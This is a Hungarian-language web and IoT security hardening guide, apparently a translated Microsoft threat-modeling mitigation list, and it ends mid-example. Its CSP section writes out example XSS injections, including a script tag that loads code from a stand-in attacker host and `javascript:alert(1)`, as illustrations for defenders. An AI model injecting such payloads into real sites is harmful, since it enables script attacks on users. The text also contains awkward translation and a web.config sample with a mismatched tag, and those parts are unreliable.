Megosztás a következőn keresztül:


Biztonsági keret: Konfigurációkezelés | Enyhítése

Termék/szolgáltatás Cikk
Webalkalmazás
Adatbázis
Webes API
IoT-eszköz
IoT-mezőátjáró
IoT Cloud Gateway
Gép megbízhatósági határa
Azure Storage
WCF

Tartalombiztonsági szabályzat (CSP) implementálása és a beágyazott JavaScript letiltása

Cím Részletek
Komponens Webalkalmazás
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások Bevezetés a tartalombiztonsági szabályzatba, a tartalombiztonsági szabályzatok referenciáiba, a tartalombiztonsági szabályzatok használatába. Használhatom a CSP-t?
Lépések

A tartalombiztonsági szabályzat (CSP) egy részletes védelmi mechanizmus, egy W3C szabvány, amely lehetővé teszi, hogy a webalkalmazás-tulajdonosok szabályozhassák a webhelyükbe ágyazott tartalmakat. A CSP HTTP-válaszfejlécként van hozzáadva a webkiszolgálón, és böngészők kényszerítik az ügyféloldalon. Ez egy engedélyezett listaalapú szabályzat – a webhelyek megbízható tartományok készletét deklarálhatják, amelyekből az aktív tartalmak, például a JavaScript betölthetők.

A CSP a következő biztonsági előnyöket nyújtja:

  • Védelem az XSS ellen: Ha egy oldal sebezhető az XSS-sel szemben, a támadó kétféleképpen használhatja ki:
    • Injektáljuk <script>malicious code</script>. Ez a biztonsági rés nem működik a CSP 1. alapkorlátozása miatt
    • Injektáljuk <script src="http://attacker.com/maliciousCode.js"/>. Ez a biztonsági rés nem működik, mivel a támadó által ellenőrzött tartomány nem szerepel a CSP engedélyezett tartománylistájában
  • Adatkiszivárgás szabályozása: Ha egy weblap rosszindulatú tartalma megpróbál csatlakozni egy külső webhelyhez, és adatokat lop, a kapcsolatot a CSP megszakítja. Ennek az az oka, hogy a céltartomány nem szerepel a CSP engedélyezett listájában
  • Védelem a kattintás-jacking ellen: a kattintás-jacking olyan támadási technika, amellyel egy támadó bekeretelhet egy valódi webhelyet, és kényszerítheti a felhasználókat, hogy a felhasználói felület elemeire kattintanak. Jelenleg az X-Frame-Options válaszfejléc konfigurálásával lehet védekezni a kattintási jackelés ellen. Nem minden böngésző tartja tiszteletben ezt a fejlécet, és a CSP továbbítása szabványos módszer a kattintás-jacking elleni védelemre
  • Valós idejű támadásjelentés: Ha egy CSP-kompatibilis webhelyen injektálási támadás történik, a böngészők automatikusan értesítést aktiválnak a webkiszolgálón konfigurált végpontra. Így a CSP valós idejű figyelmeztető rendszerként szolgál.

Példa

Példaházirend:

Content-Security-Policy: default-src 'self'; script-src 'self' www.google-analytics.com 

Ez a szabályzat lehetővé teszi, hogy a szkriptek csak a webalkalmazás kiszolgálójáról és a Google Analytics-kiszolgálóról töltődjenek be. Bármely más webhelyről betöltött szkripteket a rendszer elutasítja. Ha a CSP engedélyezve van egy webhelyen, a következő funkciók automatikusan le lesznek tiltva az XSS-támadások csökkentése érdekében.

Példa

A beágyazott szkriptek nem lesznek végrehajtva. Az alábbiakban példákat láthat beágyazott szkriptekre

<script> some JavaScript code </script>
Event handling attributes of HTML tags (for example, <button onclick="function(){}">
javascript:alert(1);

Példa

A sztringek nem lesznek kódként értékelve.

Example: var str="alert(1)"; eval(str);

A böngésző XSS-szűrőjének engedélyezése

Cím Részletek
Komponens Webalkalmazás
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások XSS Védelmi szűrő
Lépések

Az X-XSS-Protection válaszfejléc konfigurációja szabályozza a böngésző webhelyközi szkriptszűrőjét. Ez a válaszfejléc a következő értékekkel rendelkezhet:

  • 0: Ez letiltja a szűrőt
  • 1: Filter enabled Ha többhelyes szkriptelési támadást észlel, a támadás leállítása érdekében a böngésző megtisztítja a lapot
  • 1: mode=block : Filter enabled. A lap megtisztítása helyett XSS-támadás észlelésekor a böngésző megakadályozza a lap megjelenítését
  • 1: report=http://[YOURDOMAIN]/your_report_URI : Filter enabled. A böngésző megtisztítja az oldalt, és jelenti a jogsértést.

Ez egy Chromium-függvény, amely CSP-szabálysértési jelentéseket használ, hogy adatokat küldjön egy tetszőleges URI-nak. Az utolsó két lehetőség biztonságos értéknek minősül.

ASP.NET alkalmazásoknak az üzembe helyezés előtt le kell tiltaniük a nyomkövetést és a hibakeresést

Cím Részletek
Komponens Webalkalmazás
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások ASP.NET hibakeresés áttekintése, ASP.NET nyomkövetés áttekintése, Útmutató: Nyomkövetés engedélyezése ASP.NET alkalmazásokhoz, Útmutató: Hibakeresés engedélyezése ASP.NET alkalmazásokhoz
Lépések Ha a nyomkövetés engedélyezve van a lapon, minden ráérő böngésző lekéri a belső kiszolgáló állapotára és munkafolyamatára vonatkozó adatokat tartalmazó nyomkövetési információkat is. Ez az információ biztonsági szempontból érzékeny lehet. Ha a hibakeresés engedélyezve van a lapon, a kiszolgálón bekövetkező hibák teljes veremkövetési adatokat eredményeznek a böngészőben. Az adatok biztonsági szempontból bizalmas információkat tehetnek közzé a kiszolgáló munkafolyamatáról.

Külső JavaScriptek elérése csak megbízható forrásokból

Cím Részletek
Komponens Webalkalmazás
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások n/a
Lépések Külső JavaScriptekre csak megbízható forrásokból lehet hivatkozni. A referenciavégpontoknak mindig TLS-en kell lenniük.

Győződjön meg arról, hogy a hitelesített ASP.NET lapok felhasználói felületi jogorvoslati vagy kattintási védelemmel rendelkeznek

Cím Részletek
Komponens Webalkalmazás
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások OWASP click-jacking Defense Cheat Sheet, Internet Explorer Internals - Elleni kattintás-jacking X-Frame-Options
Lépések

A click-jacking( más néven "felhasználói felületi jogorvoslati támadás" az, amikor a támadó több átlátszó vagy átlátszatlan réteget használ arra, hogy a felhasználót rávezhesse egy másik oldalra, amikor a legfelső szintű lapra akart kattintani).

Ez a rétegzés úgy érhető el, hogy egy kártékony lapot készít egy iframe-lel, amely betölti az áldozat lapját. Így a támadó "eltéríti" az oldalukra irányuló kattintásokat, és átirányítja őket egy másik lapra, amely valószínűleg egy másik alkalmazás, tartomány vagy mindkettő tulajdonában van. A kattintási támadások megelőzése érdekében állítsa be a megfelelő X-Frame-Options HTTP-válaszfejléceket, amelyek arra utasítják a böngészőt, hogy ne engedélyezze a más tartományokból való keretezést

Példa

Az X-FRAME-OPTIONS fejléc az IIS web.config használatával állítható be. Web.config kódrészlet olyan webhelyekhez, amelyeket soha nem szabad keretbe helyezni:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="DENY"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Példa

Web.config kód olyan webhelyekhez, amelyeket csak ugyanazon tartomány lapjainak kell kereteznie:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="SAMEORIGIN"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Győződjön meg arról, hogy csak megbízható források engedélyezettek, ha a CORS engedélyezve van ASP.NET webalkalmazásokban

Cím Részletek
Komponens Webalkalmazás
SDL-fázis Létrehozás
Alkalmazható technológiák Webes űrlapok, MVC5
Attribútumok n/a
Hivatkozások n/a
Lépések

A böngésző biztonsági beállításai megakadályozzák, hogy egy weblap AJAX-kérelmeket küldjön egy másik tartományba. Ezt a korlátozást azonos eredetű szabályzatnak nevezzük, és megakadályozza, hogy egy rosszindulatú webhely bizalmas adatokat olvasson egy másik webhelyről. Előfordulhat azonban, hogy olyan API-kat kell biztonságosan elérhetővé tenni, amelyeket más webhelyek használhatnak. A forrásközi erőforrás-megosztás (CORS) egy W3C-szabvány, amely lehetővé teszi, hogy a kiszolgálók lazítsanak az azonos eredetű szabályzaton. A CORS használatával a kiszolgáló explicit módon engedélyezheti a forrásközi kérések egy részét, miközben másokat elutasít.

A CORS biztonságosabb és rugalmasabb, mint a korábbi technikák, például a JSONP. A CORS engedélyezése alapvető célja, hogy néhány HTTP-válaszfejlécet (Access-Control-*) adjon hozzá a webalkalmazáshoz, és ez többféleképpen is elvégezhető.

Példa

Ha elérhető a Web.config hozzáférése, akkor a CORS a következő kóddal adható hozzá:

<system.webServer>
    <httpProtocol>
      <customHeaders>
        <clear />
        <add name="Access-Control-Allow-Origin" value="https://example.com" />
      </customHeaders>
    </httpProtocol>

Példa

Ha a web.config hozzáférése nem érhető el, akkor a CORS a következő C#-kód hozzáadásával konfigurálható:

HttpContext.Response.AppendHeader("Access-Control-Allow-Origin", "https://example.com")

Vegye figyelembe, hogy kritikus fontosságú annak biztosítása, hogy az "Access-Control-Allow-Origin" attribútum forráslistája véges és megbízható forráskészletre legyen állítva. Ha nem megfelelően konfigurálja ezt a beállítást (például "*" értékként állítja be), a rosszindulatú webhelyek korlátozás nélkül aktiválhatnak kereszt-eredetű kéréseket a webalkalmazáshoz >, így az alkalmazás sebezhetővé válik a CSRF-támadásokkal szemben.

ValidateRequest attribútum engedélyezése ASP.NET pagesen

Cím Részletek
Komponens Webalkalmazás
SDL-fázis Létrehozás
Alkalmazható technológiák Webes űrlapok, MVC5
Attribútumok n/a
Hivatkozások Kérés érvényesítése – Szkripttámadások megakadályozása
Lépések

Az 1.1-es verzió óta ASP.NET egyik funkciója, a kérések érvényesítése megakadályozza, hogy a kiszolgáló fogadjon el kódolatlan HTML-t tartalmazó tartalmat. Ez a funkció segít megelőzni bizonyos szkriptinjektálási támadásokat, amelyek során az ügyfélszkriptkód vagy a HTML tudatlanul elküldhető egy kiszolgálóra, tárolható, majd bemutatható más felhasználóknak. Továbbra is határozottan javasoljuk, hogy ellenőrizze az összes bemeneti adatot és a HTML-kódolást, ha szükséges.

A kérelmek érvényesítése úgy történik, hogy összehasonlítja az összes bemeneti adatot a potenciálisan veszélyes értékek listájával. Ha egyezés történik, ASP.NET egy HttpRequestValidationException. Alapértelmezés szerint a Kérés érvényesítése funkció engedélyezve van.

Példa

Ez a funkció azonban le is tiltható lapszinten:

<%@ Page validateRequest="false" %> 

vagy alkalmazásszinten

<configuration>
   <system.web>
      <pages validateRequest="false" />
   </system.web>
</configuration>

Vegye figyelembe, hogy a kérésérvényesítési funkció nem támogatott, és nem része az MVC6-folyamatnak.

JavaScript-kódtárak helyileg üzemeltetett legújabb verzióinak használata

Cím Részletek
Komponens Webalkalmazás
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások n/a
Lépések

A JQueryhez hasonló szabványos JavaScript-kódtárakat használó fejlesztőknek olyan általános JavaScript-kódtárak jóváhagyott verzióit kell használniuk, amelyek nem tartalmaznak ismert biztonsági hibákat. Ajánlott a kódtárak legújabb verzióját használni, mivel biztonsági javításokat tartalmaznak a régebbi verziók ismert biztonsági réseihez.

Ha a legújabb kiadás kompatibilitási okokból nem használható, az alábbi minimális verziókat kell használni.

Elfogadható minimális verziók:

  • JQuery
    • JQuery 1.7.1
    • JQueryUI 1.10.0
    • JQuery validate 1.9
    • JQuery Mobile 1.0.1
    • JQuery Cycle 2.99
    • JQuery DataTables 1.9.0
  • Ajax Control Toolkit
    • Ajax Control Toolkit 40412
  • ASP.NET webes űrlapok és az Ajax
    • ASP.NET webes űrlapok és az Ajax 4
    • ASP.NET Ajax 3.5
  • ASP.NET MVC
    • ASP.NET MVC 3.0

Soha ne töltsd be a JavaScript-kódtárat külső webhelyekről, például nyilvános CDN-ekből

Az automatikus MIME-sniffing letiltása

Cím Részletek
Komponens Webalkalmazás
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások IE8 Security Part V: Comprehensive Protection, MIME type
Lépések Az X-Content-Type-Options fejléc egy HTTP-fejléc, amely lehetővé teszi a fejlesztők számára, hogy megadják, hogy a tartalom ne legyen MIME-sniffed. Ez a fejléc a MIME-Sniffing támadások enyhítésére szolgál. Minden olyan laphoz, amely felhasználó által vezérelhető tartalmat tartalmazhat, a HTTP-fejléc X-Content-Type-Options:nosniff elemét kell használnia. Ha globálisan szeretné engedélyezni a szükséges fejlécet az alkalmazás összes oldalához, tegye az alábbiak egyikét:

Példa

Adja hozzá a fejlécet a web.config fájlhoz, ha az alkalmazást az Internet Information Services (IIS) 7- től kezdve üzemelteti.

<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>

Példa

A fejléc hozzáadása a globális Application_BeginRequest

void Application_BeginRequest(object sender, EventArgs e)
{
this.Response.Headers["X-Content-Type-Options"] = "nosniff";
}

Példa

Egyéni HTTP-modul implementálása

public class XContentTypeOptionsModule : IHttpModule
{
#region IHttpModule Members
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreSendRequestHeaders += newEventHandler(context_PreSendRequestHeaders);
}
#endregion
void context_PreSendRequestHeaders(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if (application == null)
  return;
if (application.Response.Headers["X-Content-Type-Options "] != null)
  return;
application.Response.Headers.Add("X-Content-Type-Options ", "nosniff");
}
}

Példa

A szükséges fejlécet csak adott oldalakhoz engedélyezheti, ha hozzáadja az egyes válaszokhoz:

this.Response.Headers["X-Content-Type-Options"] = "nosniff";

Standard kiszolgálófejlécek eltávolítása a Windows Azure-webhelyeken az ujjlenyomat-kezelés elkerülése érdekében

Cím Részletek
Komponens Webalkalmazás
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok EnvironmentType – Azure
Hivatkozások Szabványos kiiszolgálófejlécek eltávolítása Windows Azure-webhelyeken
Lépések Az olyan fejlécek, mint a Server, az X-Powered-By, az X-AspNet-Version, információkat fednek fel a kiszolgálóról és a mögöttes technológiákról. Javasoljuk, hogy ezeket a fejléceket letiltsa, ezáltal megakadályozza az alkalmazás ujjlenyomatának

Windows tűzfal konfigurálása adatbázismotor-hozzáféréshez

Cím Részletek
Komponens Adatbázis
SDL-fázis Létrehozás
Alkalmazható technológiák SQL Azure, OnPrem
Attribútumok N/A, SQL-verzió – V12
Hivatkozások Azure SQL Database-tűzfal konfigurálása, Windows tűzfal konfigurálása adatbázismotor-hozzáféréshez
Lépések A tűzfalrendszerek segítenek a számítógépes erőforrások illetéktelen elérésének megakadályozásában. Az SQL Server adatbázismotor egy példányának tűzfalon keresztüli eléréséhez konfigurálnia kell a tűzfalat az SQL Servert futtató számítógépen a hozzáférés engedélyezéséhez

Győződjön meg arról, hogy csak megbízható források engedélyezettek, ha a CORS engedélyezve van ASP.NET Webes API-n

Cím Részletek
Komponens Webes API
SDL-fázis Létrehozás
Alkalmazható technológiák MVC 5
Attribútumok n/a
Hivatkozások Kereszt-eredetű kérelmek engedélyezése ASP.NET Web API 2-ben, ASP.NET Webes API – CORS-támogatás a ASP.NET Web API 2-ben
Lépések

A böngésző biztonsági beállításai megakadályozzák, hogy egy weblap AJAX-kérelmeket küldjön egy másik tartományba. Ezt a korlátozást azonos eredetű szabályzatnak nevezzük, és megakadályozza, hogy egy rosszindulatú webhely bizalmas adatokat olvasson egy másik webhelyről. Előfordulhat azonban, hogy olyan API-kat kell biztonságosan elérhetővé tenni, amelyeket más webhelyek használhatnak. A forrásközi erőforrás-megosztás (CORS) egy W3C-szabvány, amely lehetővé teszi, hogy a kiszolgálók lazítsanak az azonos eredetű szabályzaton.

A CORS használatával a kiszolgáló explicit módon engedélyezheti a forrásközi kérések egy részét, miközben másokat elutasít. A CORS biztonságosabb és rugalmasabb, mint a korábbi technikák, például a JSONP.

Példa

A App_Start/WebApiConfig.cs adja hozzá a következő kódot a WebApiConfig.Register metódushoz

using System.Web.Http;
namespace WebService
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // New code
            config.EnableCors();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}

Példa

Az EnableCors attribútum a következőképpen alkalmazható a vezérlő műveleti módszereire:

public class ResourcesController : ApiController
{
  [EnableCors("http://localhost:55912", // Origin
              null,                     // Request headers
              "GET",                    // HTTP methods
              "bar",                    // Response headers
              SupportsCredentials=true  // Allow credentials
  )]
  public HttpResponseMessage Get(int id)
  {
    var resp = Request.CreateResponse(HttpStatusCode.NoContent);
    resp.Headers.Add("bar", "a bar value");
    return resp;
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "PUT",                          // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "POST",                         // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
}

Vegye figyelembe, hogy kritikus fontosságú annak biztosítása, hogy az EnableCors attribútum forráslistája véges és megbízható forráskészletre legyen állítva. Ha nem megfelelően konfigurálja ezt a beállítást (például "*" értékként állítja be), akkor a rosszindulatú webhelyek korlátozás nélkül aktiválhatnak kereszt-eredetű kéréseket az API-ba, >így az API sebezhetővé válik a CSRF-támadásokkal szemben. Az EnableCors vezérlőszinten díszíthető.

Példa

Ha egy osztály egy adott metódusán szeretné letiltani a CORS-t, a DisableCors attribútum az alábbiak szerint használható:

[EnableCors("https://example.com", "Accept, Origin, Content-Type", "POST")]
public class ResourcesController : ApiController
{
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  // CORS not allowed because of the [DisableCors] attribute
  [DisableCors]
  public HttpResponseMessage Delete(int id)
  {
    return Request.CreateResponse(HttpStatusCode.NoContent);
  }
}
Cím Részletek
Komponens Webes API
SDL-fázis Létrehozás
Alkalmazható technológiák MVC 6
Attribútumok n/a
Hivatkozások Kereszt-eredetű kérések (CORS) engedélyezése a ASP.NET Core 1.0-ban
Lépések

A ASP.NET Core 1.0-ban a CORS a köztes szoftver vagy az MVC használatával engedélyezhető. Ha az MVC-t használja a CORS engedélyezéséhez, ugyanazokat a CORS-szolgáltatásokat használja, de a CORS köztes szoftver nem.

1 . megközelítés A CORS engedélyezése köztes szoftverrel: A CORS engedélyezése a teljes alkalmazás számára a CORS köztes szoftver hozzáadása a kérelem folyamatához a UseCors bővítménymetódus használatával. A CORS köztes szoftver CorsPolicyBuilder osztály használatával történő hozzáadásakor több forrásra vonatkozó szabályzat adható meg. Ezt kétféleképpen teheti meg:

Példa

Az első a UseCors meghívása egy lambdával. A lambda egy CorsPolicyBuilder objektumot vesz fel:

public void Configure(IApplicationBuilder app)
{
    app.UseCors(builder =>
        builder.WithOrigins("https://example.com")
        .WithMethods("GET", "POST", "HEAD")
        .WithHeaders("accept", "content-type", "origin", "x-custom-header"));
}

Példa

A második egy vagy több elnevezett CORS-szabályzat definiálása, majd a szabályzat kiválasztása a futtatáskor név szerint.

public void ConfigureServices(IServiceCollection services)
{
    services.AddCors(options =>
    {
        options.AddPolicy("AllowSpecificOrigin",
            builder => builder.WithOrigins("https://example.com"));
    });
}
public void Configure(IApplicationBuilder app)
{
    app.UseCors("AllowSpecificOrigin");
    app.Run(async (context) =>
    {
        await context.Response.WriteAsync("Hello World!");
    });
}

2 . megközelítés: A CORS engedélyezése az MVC-ben: A fejlesztők az MVC használatával is alkalmazhatnak adott CORS-t műveletenként, vezérlőnként vagy globálisan az összes vezérlőre.

Példa

Műveletenként: Ha cors-szabályzatot szeretne megadni egy adott művelethez, adja hozzá az [EnableCors] attribútumot a művelethez. Adja meg a szabályzat nevét.

public class HomeController : Controller
{
    [EnableCors("AllowSpecificOrigin")] 
    public IActionResult Index()
    {
        return View();
    }

Példa

Vezérlőnként:

[EnableCors("AllowSpecificOrigin")]
public class HomeController : Controller
{

Példa

Globálisan:

public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc();
    services.Configure<MvcOptions>(options =>
    {
        options.Filters.Add(new CorsAuthorizationFilterFactory("AllowSpecificOrigin"));
    });
}

Vegye figyelembe, hogy kritikus fontosságú annak biztosítása, hogy az EnableCors attribútum forráslistája véges és megbízható forráskészletre legyen állítva. Ha nem megfelelően konfigurálja ezt a beállítást (például "*" értékként állítja be), akkor a rosszindulatú webhelyek korlátozás nélkül aktiválhatnak kereszt-eredetű kéréseket az API-ba, >így az API sebezhetővé válik a CSRF-támadásokkal szemben.

Példa

A CORS vezérlő vagy művelet letiltásához használja a [DisableCors] attribútumot.

[DisableCors]
    public IActionResult About()
    {
        return View();
    }

Bizalmas adatokat tartalmazó web API konfigurációs fájljainak szakaszainak titkosítása

Cím Részletek
Komponens Webes API
SDL-fázis Telepítés
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások Útmutató: Konfigurációs szakaszok titkosítása a ASP.NET 2.0-ban DPAPI használatával, Védett konfigurációs szolgáltató megadása, Azure Key Vault használata az alkalmazás titkos kulcskódjának védelméhez
Lépések Az olyan konfigurációs fájlok, mint a Web.config, appsettings.json gyakran bizalmas adatok tárolására szolgálnak, például felhasználónevek, jelszavak, adatbázis-kapcsolati sztring és titkosítási kulcsok tárolására. Ha nem védi ezeket az információkat, az alkalmazás sebezhető a támadók vagy rosszindulatú felhasználók számára, amelyek bizalmas információkat szereznek, például fiók felhasználóneveket és jelszavakat, adatbázisneveket és kiszolgálóneveket. Az üzembe helyezés típusa (azure/on-prem) alapján titkosítsa a konfigurációs fájlok bizalmas szakaszait DPAPI vagy olyan szolgáltatások használatával, mint az Azure Key Vault.

Győződjön meg arról, hogy minden rendszergazdai felület erős hitelesítő adatokkal van védve

Cím Részletek
Komponens IoT-készülék
SDL-fázis Telepítés
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások n/a
Lépések Az eszköz vagy a mezőátjáró által elérhetővé tett felügyeleti adaptereket erős hitelesítő adatokkal kell védeni. Emellett minden más közzétett felületet, például WiFi-t, SSH-t, fájlmegosztásokat és FTP-t erős hitelesítő adatokkal kell védeni. Az alapértelmezett gyenge jelszavakat nem szabad használni.

Győződjön meg arról, hogy az ismeretlen kód nem futtatható az eszközökön

Cím Részletek
Komponens IoT-készülék
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások Biztonságos rendszerindítás és BitLocker-eszköztitkosítás engedélyezése Windows 10 IoT Core rendszeren
Lépések Az UEFI Secure Boot korlátozza a rendszert, hogy csak egy adott hatóság által aláírt bináris fájlok végrehajtását engedélyezze. Ez a funkció megakadályozza, hogy ismeretlen kódot hajtsanak végre a platformon, és esetleg gyengítse annak biztonsági helyzetét. Engedélyezze az UEFI biztonságos rendszerindítást, és korlátozza azon hitelesítésszolgáltatók listáját, amelyek megbízhatóak az aláírási kódhoz. Írja alá az eszközön üzembe helyezett összes kódot az egyik megbízható hatóság használatával.

Az IoT-eszköz operációs rendszerének és egyéb partícióinak titkosítása a BitLockerrel

Cím Részletek
Komponens IoT-készülék
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások n/a
Lépések A Windows 10 IoT Core a BitLocker Device Encryption egyszerűsített verzióját implementálja, amely erősen függ a platformon található TPM-től, beleértve a szükséges UEFI-protokollt is, amely elvégzi a szükséges méréseket. Ezek a preOS-mérések biztosítják, hogy az operációs rendszer később végleges rekordot adjon az operációs rendszer indításának módjáról. Titkosítsa az operációsrendszer-partíciókat a BitLocker és más partíciók használatával is, ha bizalmas adatokat tárolnak.

Győződjön meg arról, hogy csak a minimális szolgáltatások/szolgáltatások vannak engedélyezve az eszközökön

Cím Részletek
Komponens IoT-készülék
SDL-fázis Telepítés
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások n/a
Lépések Ne engedélyezze vagy kapcsolja ki az operációs rendszer olyan funkcióit vagy szolgáltatásait, amelyek nem szükségesek a megoldás működéséhez. Ha például az eszköz nem igényel felhasználói felületet, telepítse a Windows IoT Core-t fej nélküli módban.

Az IoT Field Gateway operációs rendszerének és egyéb partícióinak titkosítása a BitLockerrel

Cím Részletek
Komponens IoT-mezőátjáró
SDL-fázis Telepítés
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások n/a
Lépések A Windows 10 IoT Core a BitLocker Device Encryption egyszerűsített verzióját implementálja, amely erősen függ a platformon található TPM-től, beleértve a szükséges UEFI-protokollt is, amely elvégzi a szükséges méréseket. Ezek a preOS-mérések biztosítják, hogy az operációs rendszer később végleges rekordot adjon az operációs rendszer indításának módjáról. Titkosítsa az operációsrendszer-partíciókat a BitLocker és más partíciók használatával is, ha bizalmas adatokat tárolnak.

Győződjön meg arról, hogy a helyszíni átjáró alapértelmezett bejelentkezési hitelesítő adatai módosulnak a telepítés során

Cím Részletek
Komponens IoT-mezőátjáró
SDL-fázis Telepítés
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások n/a
Lépések Győződjön meg arról, hogy a helyszíni átjáró alapértelmezett bejelentkezési hitelesítő adatai módosulnak a telepítés során

Győződjön meg arról, hogy a Cloud Gateway implementál egy folyamatot a csatlakoztatott eszközök belső vezérlőprogramjának naprakészen tartásához

Cím Részletek
Komponens IoT Cloud Gateway
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok Átjáróválasztás – Azure IoT Hub
Hivatkozások Az IoT Hub Eszközkezelés Áttekintés, Eszközfrissítés az Azure IoT Hubhoz oktatóanyag a Raspberry Pi 3 B+ referenciarendszerkép használatával.
Lépések Az LWM2M az Open Mobile Alliance for IoT Eszközkezelés protokollja. Az Azure IoT-eszközök kezelése lehetővé teszi a fizikai eszközökkel való interakciót eszközfeladatok használatával. Győződjön meg arról, hogy a Cloud Gateway olyan folyamatot implementál, amely rendszeresen naprakészen tartja az eszközt és az egyéb konfigurációs adatokat az Azure IoT Hub Eszközkezelés használatával.

Győződjön meg arról, hogy az eszközök a szervezeti házirendek szerint konfigurálva vannak a végpontok biztonsági vezérlői

Cím Részletek
Komponens Gép megbízhatósági határa
SDL-fázis Telepítés
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások n/a
Lépések Győződjön meg arról, hogy az eszközök olyan végponti biztonsági vezérlőkkel rendelkeznek, mint a BitLocker lemezszintű titkosításhoz, frissített aláírásokkal rendelkező vírusirtó, gazdagépalapú tűzfal, operációsrendszer-frissítések, csoportszabályzatok stb. a szervezeti biztonsági szabályzatok szerint vannak konfigurálva.

Az Azure Storage hozzáférési kulcsainak biztonságos kezelésének biztosítása

Cím Részletek
Komponens Azure Storage
SDL-fázis Telepítés
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások Azure Storage biztonsági útmutató – A tárfiókkulcsok kezelése
Lépések

Kulcstároló: Javasoljuk, hogy az Azure Storage hozzáférési kulcsait titkos kulcsként tárolja az Azure Key Vaultban, és kérje le az alkalmazásokat a kulcstartóból. Ez a következő okok miatt ajánlott:

  • Az alkalmazás soha nem fogja merevlemezen kódolni a tárolókulcsot egy konfigurációs fájlban, amely eltávolítja azt a lehetőséget, hogy valaki külön engedély nélkül férhessen hozzá a kulcsokhoz
  • A kulcsokhoz való hozzáférés a Microsoft Entra-azonosítóval szabályozható. Ez azt jelenti, hogy a fióktulajdonos hozzáférést adhat azokhoz az alkalmazásokhoz, amelyeknek le kell kérnie a kulcsokat az Azure Key Vaultból. Más alkalmazások nem férhetnek hozzá a kulcsokhoz külön engedély megadása nélkül
  • Kulcsregeneráció: Biztonsági okokból javasoljuk, hogy legyen egy folyamat az Azure Storage hozzáférési kulcsainak újragenerálásához. A kulcsok újragenerálásának okairól és tervéről az Azure Storage biztonsági útmutatójának referenciacikke nyújt tájékoztatást.

Győződjön meg arról, hogy csak megbízható források engedélyezettek, ha a CORS engedélyezve van az Azure Storage-ban

Cím Részletek
Komponens Azure Storage
SDL-fázis Létrehozás
Alkalmazható technológiák Általános
Attribútumok n/a
Hivatkozások CORS-támogatás Azure Storage-szolgáltatásokhoz
Lépések Az Azure Storage lehetővé teszi a CORS – Forrásközi erőforrásmegosztás engedélyezését. Minden tárfiókhoz megadhatja azokat a tartományokat, amelyek hozzáférhetnek az adott tárfiók erőforrásaihoz. Alapértelmezés szerint a CORS minden szolgáltatásban le van tiltva. A CORS engedélyezéséhez használja a REST API-t vagy a tárolási ügyfélkódtárat a szolgáltatásszabályzatok beállítására szolgáló módszerek egyikének meghívásához.

A WCF szolgáltatásszabályozási funkciójának engedélyezése

Cím Részletek
Komponens WCF
SDL-fázis Létrehozás
Alkalmazható technológiák .NET-keretrendszer 3
Attribútumok n/a
Hivatkozások MSDN, Fortify Kingdom
Lépések

Ha nem korlátozza a rendszererőforrások használatát, az erőforrás-kimerüléshez és végső soron szolgáltatásmegtagadáshoz vezethet.

  • MAGYARÁZAT: A Windows Communication Foundation (WCF) lehetővé teszi a szolgáltatáskérések szabályozását. Ha túl sok ügyfélkérést engedélyez, az eláraszthatja a rendszert, és kimerítheti az erőforrásait. Másrészt, ha csak kis számú kérést engedélyez egy szolgáltatáshoz, azzal megakadályozhatja, hogy a jogszerű felhasználók használják a szolgáltatást. Minden szolgáltatást egyedileg kell hangolni, és úgy kell konfigurálni, hogy lehetővé tegye a megfelelő mennyiségű erőforrást.
  • JAVASLATOK A WCF szolgáltatásszabályozási funkciójának engedélyezése és az alkalmazásnak megfelelő korlátok beállítása.

Példa

Az alábbi példakonfiguráció engedélyezve van a szabályozással:

<system.serviceModel> 
  <behaviors>
    <serviceBehaviors>
    <behavior name="Throttled">
